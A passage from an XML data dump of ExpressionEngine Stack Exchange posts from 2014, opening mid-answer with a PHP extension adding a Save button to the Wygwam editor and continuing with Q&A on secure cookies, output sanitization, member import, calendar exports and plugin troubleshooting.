paths&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (! defined('BASEPATH')) exit('No direct script access allowed');&#xA;&#xA;class **save**_ext&#xA;{&#xA;    var $name           = 'Your extension name';&#xA;    var $version        = '1.0';&#xA;    var $description    = 'discription';&#xA;    var $docs_url       = 'URL';&#xA;    var $settings_exist = 'n';&#xA;&#xA;&#xA;    private static $_included_resources = FALSE;&#xA;&#xA;    // Begin calling button functionality and icon&#xA;    private $_hooks = array(&#xA;        'wygwam_config',&#xA;        'wygwam_tb_groups',&#xA;    );&#xA;&#xA;    public function activate_extension()&#xA;    {&#xA;        foreach ($this-&amp;gt;_hooks as $hook)&#xA;        {&#xA;            ee()-&amp;gt;db-&amp;gt;insert('extensions', array(&#xA;                'class'    =&amp;gt; get_class($this),&#xA;                'method'   =&amp;gt; $hook,&#xA;                'hook'     =&amp;gt; $hook,&#xA;                'settings' =&amp;gt; '',&#xA;                'priority' =&amp;gt; 10,&#xA;                'version'  =&amp;gt; $this-&amp;gt;version,&#xA;                'enabled'  =&amp;gt; 'y'&#xA;            ));&#xA;        }&#xA;    }&#xA;&#xA;    public function update_extension($current = NULL)&#xA;    {&#xA;        return FALSE;&#xA;    }&#xA;&#xA;    public function disable_extension()&#xA;    {&#xA;        ee()-&amp;gt;db-&amp;gt;where('class', get_class($this))-&amp;gt;delete('extensions');&#xA;    }&#xA;&#xA;    public function wygwam_config($config, $settings)&#xA;    {&#xA;        if (($last_call = ee()-&amp;gt;extensions-&amp;gt;last_call) !== FALSE)&#xA;        {&#xA;            $config = $last_call;&#xA;        }&#xA;&#xA;        // Check if our toolbar button has been added&#xA;        $include_btn = FALSE;&#xA;&#xA;        foreach ($config['toolbar'] as $tbgroup)&#xA;        {&#xA;            if (in_array('Save', $tbgroup))&#xA;            {&#xA;                $include_btn = TRUE;&#xA;                break;&#xA;            }&#xA;        }&#xA;&#xA;        if ($include_btn)&#xA;        {&#xA;            // Add our plugin to CKEditor&#xA;            if (!empty($config['extraPlugins']))&#xA;            {&#xA;                $config['extraPlugins'] .= ',';&#xA;            }&#xA;&#xA;            $config['extraPlugins'] .= 'save'; &#xA;            $this-&amp;gt;_include_resources();&#xA;&#xA;        }&#xA;&#xA;        return $config;&#xA;    }&#xA;&#xA;&#xA;    public function wygwam_tb_groups($tb_groups)&#xA;    {&#xA;        if (($last_call = ee()-&amp;gt;extensions-&amp;gt;last_call) !== FALSE)&#xA;        {&#xA;            $tb_groups = $last_call;&#xA;        }&#xA;&#xA;        $tb_groups[] = array('Save');&#xA;&#xA;        // Is this the toolbar editor?&#xA;        if (ee()-&amp;gt;input-&amp;gt;get('M') == 'show_module_cp')&#xA;        {&#xA;            // Give our toolbar button an icon&#xA;            $icon_url = URL_THIRD_THEMES.'saveicon/save/icons/icon.png';&#xA;            ee()-&amp;gt;cp-&amp;gt;add_to_head('&amp;lt;style type=&quot;text/css&quot;&amp;gt;.cke_button__save_icon { background-image: url('.$icon_url.'); }&amp;lt;/style&amp;gt;');&#xA;        }&#xA;&#xA;        return $tb_groups;&#xA;    }&#xA;&#xA;    private function _include_resources()&#xA;    {&#xA;        // Is this the first time we've been called?&#xA;        if (!self::$_included_resources)&#xA;        {&#xA;            // Tell CKEditor where to find our plugin&#xA;            $plugin_url = URL_THIRD_THEMES.'saveicon/save/';&#xA;            ee()-&amp;gt;cp-&amp;gt;add_to_foot('&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;CKEDITOR.plugins.addExternal(&quot;save&quot;, &quot;'.$plugin_url.'&quot;);&amp;lt;/script&amp;gt;');&#xA;&#xA;            // Don't do that again&#xA;            self::$_included_resources = TRUE;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just be aware that caps matters so use a capital letter for you plugin name where I used it.If this is working properly you should see your extension in the extensions list and you just need to enable it and the icon should appear in the wygwam editor configurations and you can pull it into your toolbar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;( note for some reason when you enable the extension it still shows as disabled in the my list but it is enabled.)&lt;/p&gt;&#xA;" OwnerUserId="1485" LastEditorUserId="3143" LastEditDate="2014-08-21T15:56:57.210" LastActivityDate="2014-08-21T15:56:57.210" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24002" PostTypeId="2" ParentId="23997" CreationDate="2014-06-26T10:02:09.957" Score="0" Body="&lt;p&gt;Unless it's been introduced in a recent version there is no way to do date arithmetic using native EE tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you say you could do this with a fairly simple bit of PHP which could be added directly to a template or, as is probably better, wrapped up into a plugin. There may well already be something like this available on Devot:ee. For instance, try &lt;a href=&quot;http://devot-ee.com/add-ons/dt-plugin&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/dt-plugin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-06-26T10:02:09.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24003" PostTypeId="2" ParentId="23939" CreationDate="2014-06-26T11:43:39.123" Score="0" Body="&lt;p&gt;The simple answer is no. The only reason I am writing more words here is that SE didn't just let me say &quot;no&quot;. ;)&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2014-06-26T11:43:39.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24004" PostTypeId="2" ParentId="23991" CreationDate="2014-06-26T12:43:48.657" Score="0" Body="&lt;p&gt;This is something I had as well , I have created a custom style for tables which my users added by just adding the name to stylesheet classes under the advanced tab. This is a pain and I contacted pixel and tonic about it and they said it was dropped by ckeditor in the latest version and so it was dropped from wygwam too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happened to me before where the save button was dropped by ckeditor/wygwam so i had to bring it into my setup as a plugin as featured here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/22280/adding-ckeditor-plugins-to-wygwam&quot;&gt;Adding CKEditor Plugins to Wygwam&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just haven't got around to see if i can do the same thing for the advanced tab.&#xA;Also be aware that ckeditor and wygwam have brought back icons and features that were dropped from earlier versions (like the div icon) so it may still be brought back in a future version &lt;/p&gt;&#xA;" OwnerUserId="1485" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2014-06-26T12:43:48.657" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24005" PostTypeId="2" ParentId="23987" CreationDate="2014-06-26T13:04:51.280" Score="7" Body="&lt;p&gt;Yes, the cookies are still susceptible to being intercepted. The full set of cookies for matching domains is transmitted by the browser with each page request to that domain, even if the original cookies were set using HTTPS/SSL and the current page is HTTP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way around this is by setting the &quot;secure&quot; flag on cookies you set. Any cookies set with the &quot;secure&quot; flag will only get transmitted by browsers when connecting to HTTPS pages. In recent versions of ExpressionEngine there are a few ways to do this. One way is by setting this config variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['cookie_secure'] = 'y';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That'll make sure all cookies set by EE get the secure flag (note: the server must be configured to set the &lt;a href=&quot;http://httpd.apache.org/docs/2.2/mod/mod_ssl.html&quot; rel=&quot;nofollow&quot;&gt;HTTPS environment variable&lt;/a&gt;). If you only want to set it for some cookies, you can use the &lt;code&gt;set_cookie_end&lt;/code&gt; extension hook to put custom logic around cookie requests, making the important ones secure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that if you use secure cookies for things like the session cookie, cart sessions, etc... those things won't persist in HTTP requests which might lead to some weird UX if you don't account for it in URLs and redirects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as how much trouble bad actors can make with cookies, it depends. With some settings, ExpressionEngine will try to fingerprint session IDs with information like the user agent and other data. This can help because EE won't authenticate a session if the information doesn't match.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The safest approach is to operate over only HTTPS and set all cookies to &lt;code&gt;secure&lt;/code&gt; (and &lt;code&gt;HttpOnly&lt;/code&gt;, which EE now does as default). Hardware is very fast with SSL/TLS these days so unless you're running with a lot of traffic or on a complicated setup, you probably won't see much a performance issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if I can provide any other information on this!&lt;/p&gt;&#xA;" OwnerUserId="376" LastEditorUserId="366" LastEditDate="2014-07-02T15:50:04.240" LastActivityDate="2014-07-02T15:50:04.240" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24006" PostTypeId="1" AcceptedAnswerId="24007" CreationDate="2014-06-26T13:53:31.387" Score="1" ViewCount="76" Body="&lt;p&gt;I am not sure if this is an appropriate questions for this site - I was just wondering if expresso store automatically saves the user's shipping, billing and credit card details somewhere in the database and at which point (and where) does store save these?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-06-26T14:19:13.070" Title="Store Shipping, Billing &amp; Credit Card Info" Tags="|expresso-store|ee2|checkout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24007" PostTypeId="2" ParentId="24006" CreationDate="2014-06-26T14:19:13.070" Score="2" Body="&lt;p&gt;Store saves the shipping and billing address if they are supplied once the order is submitted. This will show the order details in the CP admin area and you can access it using the &lt;code&gt;{exp:store:orders}&lt;/code&gt; tags on the front-end. You can see all of the information that store collects about an order by going to the &lt;code&gt;exp_store_orders&lt;/code&gt; table in the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that if you want to link the data the users enters (other then CC details) you will need to goto Store &gt; Settings &gt; Order Fields and link them to either member fields you have created or channel fields you created if you are using Zoo Visitor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Store does not store any CC details on the server at any point except in some cases. Some gateways will allow you to pass back the last 4 digits of the CC number and the expiration dates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some gateways allow you to store the users CC details on their servers then create a token which allows you to pass that to the payment gateway provider and they will charge the card through that. Stripe, PayPal Pro, and Authorize.net are all gateways that pop into mind that allow this kind of functionality but as far as I am aware of none of the Store gateways have this feature is enabled by default so you would need to add that functionality to which ever gateway you were using. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-06-26T14:19:13.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24008" PostTypeId="2" ParentId="23961" CreationDate="2014-06-26T14:27:51.393" Score="2" Body="&lt;p&gt;The short answer is no this is not really possible unless you are using MSM or heavily modify the core. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;This is based upon member groups so someone that is a super admin or has similar privileges should be able to manage the Store settings.&lt;/li&gt;&#xA;&lt;li&gt;Since each store would need to be a MSM site this is not an issue just make sure that each store owner only has access to their MSM site.&lt;/li&gt;&#xA;&lt;li&gt;No problem here this is just default EE membership settings.&lt;/li&gt;&#xA;&lt;li&gt;You would just need to configure your MSM setup properly.&lt;/li&gt;&#xA;&lt;li&gt;Not an issue since store will only display products from the currently active site.&lt;/li&gt;&#xA;&lt;li&gt;Not an issue since orders are site specific.&lt;/li&gt;&#xA;&lt;li&gt;Store does not currently have any support for other third party multi-lingual modules like Publish or Transcribe so you might have a bit of trouble translating things like modifiers, email templates, error messages.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Running a setup like this with using MSM is not an ideal setup in my opinion. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-06-26T14:27:51.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24009" PostTypeId="1" AcceptedAnswerId="24013" CreationDate="2014-06-26T15:15:13.723" Score="0" ViewCount="125" Body="&lt;p&gt;I have an event calendar page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;site.com/events/event-calendar&lt;/p&gt;&#xA;&#xA;&lt;p&gt;that lists all upcoming events on that one page. Next to each event listing i want there to be an 'Export' button that links to/exports the ics for just that one individual event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My export button currently links to the 'export' template - a href=&quot;export&quot; - with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:icalendar &#xA;    show_days=&quot;1&quot;&#xA;    limit=&quot;1&quot;&#xA;    dynamic=&quot;off&quot;}&#xA;{/exp:calendar:icalendar}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but that does not export the ics for the exact event. I have tried playing around with the parameters &lt;code&gt;date_range_start&lt;/code&gt;, &lt;code&gt;date_range_end&lt;/code&gt;, &lt;code&gt;event_id&lt;/code&gt; but can not get it to work. Is it even possible? What do i need to add?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated!&lt;/p&gt;&#xA;" OwnerUserId="2794" LastEditorUserId="115" LastEditDate="2014-06-26T19:26:14.997" LastActivityDate="2014-06-27T11:49:09.373" Title="Export individual ics per event" Tags="|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24010" PostTypeId="1" CreationDate="2014-06-26T15:31:23.220" Score="1" ViewCount="131" Body="&lt;p&gt;I'm a developer on a huge site that does millions of dollars of transactions per day. Our client has recently engaged a White Hat scanning firm to scan the site, and we've been having some issues. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Per their request, we've sanitized all data that's being saved using the &lt;code&gt;TRUE&lt;/code&gt; parameter on &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/input.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;input-&amp;gt;post&lt;/code&gt;&lt;/a&gt;. Apparently this scanning company doesn't consider it enough to prevent users from saving bad data; they also insist we sanitize all data before display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of our functions rely on &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/template.html#parsing-full-results&quot; rel=&quot;nofollow&quot;&gt;TMPL-&gt;parse_variables&lt;/a&gt;, so I'm wondering if there's an easy way to sanitize the data in the variable array as well. Or is the only way to call php's &lt;code&gt;strip_tags&lt;/code&gt; on every variable before it goes into the array?&lt;/p&gt;&#xA;" OwnerUserId="1008" LastActivityDate="2014-06-26T15:31:23.220" Title="Is there a built-in way to sanitize data with parse_variables?" Tags="|parse|xss|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24011" PostTypeId="2" ParentId="23947" CreationDate="2014-06-26T15:57:53.520" Score="1" Body="&lt;p&gt;Solved. Problem was caused by new cross-site request forgery protections in EE. Setting the corresponding webhook action as csrf_exempt fixed it.&lt;/p&gt;&#xA;" OwnerUserId="3278" LastActivityDate="2014-06-26T15:57:53.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24012" PostTypeId="1" AcceptedAnswerId="24017" CreationDate="2014-06-26T17:44:19.417" Score="1" ViewCount="357" Body="&lt;p&gt;I am trying to import 55 members into a new site. I am using the following format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;members&amp;gt;&#xA; &amp;lt;member&amp;gt;&#xA;  &amp;lt;username&amp;gt;myuser&amp;lt;/username&amp;gt;&#xA;  &amp;lt;screen_name&amp;gt;First Last&amp;lt;/screen_name&amp;gt;&#xA;  &amp;lt;password type=&quot;text&quot;&amp;gt;Password&amp;lt;/password&amp;gt;&#xA;  &amp;lt;email&amp;gt;myname@email.com&amp;lt;/email&amp;gt;&#xA; &amp;lt;/member&amp;gt;&#xA;&amp;lt;/members&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for the file location I have uploaded the .xml file to the root of the site and listed the name of the file without the server path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately the EE documentation on this topic is woefully thin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions as to what might be missing here?&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2014-06-27T01:24:19.113" Title="Member Import Error - Unable to parse XML" Tags="|members|import|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24013" PostTypeId="2" ParentId="24009" CreationDate="2014-06-26T19:39:34.813" Score="1" Body="&lt;p&gt;You will want to change your template up &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Export Template:&lt;/strong&gt;&lt;br&gt;&#xA;&lt;strong&gt;URL: &lt;a href=&quot;http://mysite.com/events/export&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/events/export&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:icalendar&#xA;    event_id=&quot;{segment_3}&quot; &#xA;    limit=&quot;1&quot;&#xA;}&#xA;{/exp:calendar:icalendar}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Main Template&lt;/strong&gt;&lt;br&gt;&#xA;&lt;strong&gt;URL: &lt;a href=&quot;http://mysite.com/events/event-calendar&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/events/event-calendar&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt; Events&amp;lt;/h1&amp;gt;&#xA;{exp:calendar:events}&#xA;    &amp;lt;h2&amp;gt;{event_title}&amp;lt;/h2&amp;gt;&#xA;    ... Additional Data here...&#xA;    &amp;lt;a href=&quot;/events/export/{event_id}&quot;&amp;gt;Download&amp;lt;/a&amp;gt;&#xA;{/exp:calendar:events}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will pass the event_id to your export template properly for each event. As Solspace mentioned in the comments this will &lt;strong&gt;export all occurrence for the event&lt;/strong&gt; not just a single occurrence of that event.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2014-06-27T11:49:09.373" LastActivityDate="2014-06-27T11:49:09.373" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24014" PostTypeId="1" CreationDate="2014-06-26T22:47:16.333" Score="1" ViewCount="153" Body="&lt;p&gt;One of the things we are excited about with expression engine is that watermarking images when uploading is so easy for admins. Unfortunately we have also discovered that files can only be uploaded one at a time. I know that there are plugins that can manage batch uploading but does anyone know if any of them also offer a watermarking feature as well?&lt;/p&gt;&#xA;" OwnerUserId="3292" LastActivityDate="2014-06-27T10:33:46.767" Title="Batch Uploading &amp; Watermarking?" Tags="|file-uploads|plugin|image|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24015" PostTypeId="2" ParentId="24014" CreationDate="2014-06-26T23:10:51.900" Score="5" Body="&lt;p&gt;Channel Images can do that and a lot of other neat stuff: &lt;a href=&quot;http://www.devdemon.com/documentation/channel-images&quot;&gt;http://www.devdemon.com/documentation/channel-images&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1013" LastActivityDate="2014-06-26T23:10:51.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24016" PostTypeId="1" CreationDate="2014-06-27T00:47:00.550" Score="0" ViewCount="153" Body="&lt;p&gt;I have a form in a HTTPS page. The action that was generated use the HTTPs too&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://foo.com/?ACT=140&amp;amp;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when I tried testing submitting the form, it did not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried testing using the HTTP protocol&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://foo.com/?ACT=140&amp;amp;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it worked(albeit with a warning dialog showing me that it is unsafe).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this correct? Is ExpressionEngine unable to process action urls with the HTTPS protocol?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, how do I remedy this?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2014-07-10T21:23:23.490" Title="Submitting a form in an https page" Tags="|forms|ssl|action|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24017" PostTypeId="2" ParentId="24012" CreationDate="2014-06-27T01:24:19.113" Score="3" Body="&lt;p&gt;EE's built in Member Importer can be a bit fickle from time to time and the error reporting is.... well it is anything but useful. So I have a list of things that you can try&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Upload the file to the root of your server and try both &lt;code&gt;../member-import.xml&lt;/code&gt; or &lt;code&gt;member-import.xml&lt;/code&gt; I have had various results depending on the server environment.&lt;/li&gt;&#xA;&lt;li&gt;EE requires &lt;code&gt;username&lt;/code&gt;, &lt;code&gt;email&lt;/code&gt;, and &lt;code&gt;screen_name&lt;/code&gt; to all be unique. This is not only for the members you are importing but existing members in your DB.&lt;/li&gt;&#xA;&lt;li&gt;Usernames need to be at least 6 characters (unless you are forcing longer in your config) and can not start with a number.&lt;/li&gt;&#xA;&lt;li&gt;If you have any custom member fields setup in your install either make sure that they are all not required or alternatively make sure the required fields are included in your .xml file and that they contain content. For example if &lt;code&gt;other_app_id&lt;/code&gt; is a required field you need to include &lt;code&gt;&amp;lt;other_app_id&amp;gt;Something here&amp;lt;/other_app_id&amp;gt;&lt;/code&gt; in every record you are importing.&lt;/li&gt;&#xA;&lt;li&gt;If your original data was created in Excel and you exported it as CSV file it often creates a funky breaking space that looks like a normal space in most text editors but if you open it in Terminal (Mac) or Notepad Plain Text (Windows) you will see it actually creating a new line. Exporting the original excel file in OpenOffice (Windows) or the latest version of Numbers (Mac) should fix the issue.&lt;/li&gt;&#xA;&lt;li&gt;Make sure that your data has been sanitized to remove any special characters that are not valid in XML. From the top of my head I believe they are &lt;code&gt;&amp;amp;&lt;/code&gt;, &lt;code&gt;&amp;lt;&lt;/code&gt;, &lt;code&gt;&amp;gt;&lt;/code&gt;, &lt;code&gt;&quot;&lt;/code&gt;, and &lt;code&gt;'&lt;/code&gt;. These characters will have to be converted into &lt;a href=&quot;http://en.wikipedia.org/wiki/List%5Fof%5FXML%5Fand%5FHTML%5Fcharacter%5Fentity%5Freferences&quot; rel=&quot;nofollow&quot;&gt;XML entities&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-06-27T01:24:19.113" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24018" PostTypeId="1" AcceptedAnswerId="24027" CreationDate="2014-06-27T02:08:54.567" Score="2" ViewCount="258" Body="&lt;p&gt;I am looking to do a search of a few Zoo Visitor fields that are comprised of checkboxes. This was something I was working on a few months ago and I picked this project back up this week. I am having two different issues and I'm not sure if they are Zoo Visitor or Low Search issues so I figured I would post here to start. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first issue has to do with the checkboxes themselves. I have three checkbox fields with anywhere from 10 to 50 options. Each option is listed on its own line as specified in &quot;Multi-Select Options&quot; within the channel field settings. A few of the options have commas in them and I'm not sure if that's an issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go to display these fields within my search, the checkbox fields all behave in very strange ways. All the fields in the low search form follow the same format every time:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset&amp;gt;&#xA;  &amp;lt;legend&amp;gt;Fieldname&amp;lt;/legend&amp;gt;&#xA;  &amp;lt;div&amp;gt;&#xA;    &amp;lt;span class=&quot;label&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;    &amp;lt;div class=&quot;group&quot;&amp;gt;&#xA;        {exp:channel:entries &#xA;          site=&quot;default_site&quot; &#xA;          channel=&quot;zoo_visitor&quot;  &#xA;          status=&quot;not closed&quot; &#xA;          disable=&quot;categories|pagination&quot;&#xA;        }&#xA;&#xA;        {mbr_fieldname}&#xA;          &amp;lt;input type=&quot;checkbox&quot; name=&quot;{item}&quot; value=&quot;&quot; /&amp;gt; {item}&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;        {/mbr_fieldname}&#xA;        {/exp:channel:entries}&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For two of these fields, some of the checkboxes being displayed have multiple values combined into one value. That is, instead of there being two separate checkboxes for Value 1 and Value 2, one checkbox will contain BOTH Value 1 and Value 2 together. Another one of these fields has multiples of the same value wjthin the list. For example, Value 3 might show up twice for no apparent reason. These values are also not in the order listed when I created the field. I even checked in the database and all the data looks to match what I entered properly the first time. To test this issue further, I created a new checkbox field this evening called testcheckboxes. When I tried to display this new field like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        {exp:channel:entries &#xA;          site=&quot;default_site&quot; &#xA;          channel=&quot;zoo_visitor&quot;  &#xA;          status=&quot;not closed&quot; &#xA;          disable=&quot;categories|pagination&quot;&#xA;        }&#xA;&#xA;        {testcheckboxes}&#xA;          &amp;lt;input type=&quot;checkbox&quot; name=&quot;{item}&quot; value=&quot;&quot; /&amp;gt; {item}&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;        {/testcheckboxes}&#xA;        {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No entries show up whatsoever. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second issue has to do with the checkboxes that DO show up. If I try to check off any of these boxes and search, no member results are found even if I know a particular member has these boxes checked off. The checkbox fields are marked as searchable and the results page has a status=&quot;not closed&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm hoping to be able to unravel this problem soon but I'm really not sure where to go from here. Any help would be greatly appreciated. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="2810" LastActivityDate="2014-06-27T09:59:57.043" Title="Trouble with Zoo Visitor checkboxes in a Low Search" Tags="|low-search|zoo-visitor|checkbox|channel-fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24019" PostTypeId="1" AcceptedAnswerId="24024" CreationDate="2014-06-27T02:12:32.397" Score="1" ViewCount="192" Body="&lt;p&gt;I'm currently creating a Channel Form that has a file field. Because of this, ExpressionEngine wants to include their Javascript and their version of jQuery (version 1.7.2). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my wrapper template, I already include jQuery right before the close of the body tag (as per best practices at the time of writing). However, including jQuery creates collision errors and the file field has errors (won't allow me to delete files that are already uploaded and doesn't display the upload button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can add the parameter of include_jquery=&quot;no&quot; to the Channel Form, which stops ExpressionEngine from loading their version, but the file field still doesn't work at this point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I move the inclusion of jQuery in my wrapper template to before the Channel Form (I put it in the head tag), it works correctly, which is what EllisLabs suggests doing. The problem is that I would prefer to leave jQuery at the bottom of the page, so that it doesn't block loading anything else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to keep jQuery at the bottom of the wrapper template, while also being able to use File Fields in Channel Forms?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As a minor note: the file field will also only work if you're using a slightly older version of jQuery (&amp;lt; 1.9), as it currently calls the .browser property, deprecated in 1.9&lt;/p&gt;&#xA;" OwnerUserId="2722" LastEditorUserId="343" LastEditDate="2014-06-27T19:10:29.120" LastActivityDate="2014-06-27T19:10:29.120" Title="Is there a way to include jQuery after a Channel Form?" Tags="|safecracker|file-uploads|jquery|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24020" PostTypeId="2" ParentId="23978" CreationDate="2014-06-27T02:38:17.957" Score="1" Body="&lt;p&gt;You could have a look at the exp_tag_entries database table, in particular the tag_group_id column and make manual modifications, it's not recommended without having backups ready and knowing what you're doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best and safest way would indeed be to delete the tag in the Tag CP, then recreate it from an entry form in a Tag custom field assigned to your new tag group. &lt;strong&gt;Note&lt;/strong&gt;: when deleting the tag, this tag won't be associated to any entries anymore.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-06-27T02:38:17.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24021" PostTypeId="2" ParentId="23993" CreationDate="2014-06-27T02:54:57.057" Score="0" Body="&lt;p&gt;Line 349 is trying to get the first result from the query to get the member_data for that user.  It appears as if you will see this error any time you try to edit a member that does not exist.&lt;/p&gt;&#xA;" OwnerUserId="2728" LastActivityDate="2014-06-27T02:54:57.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
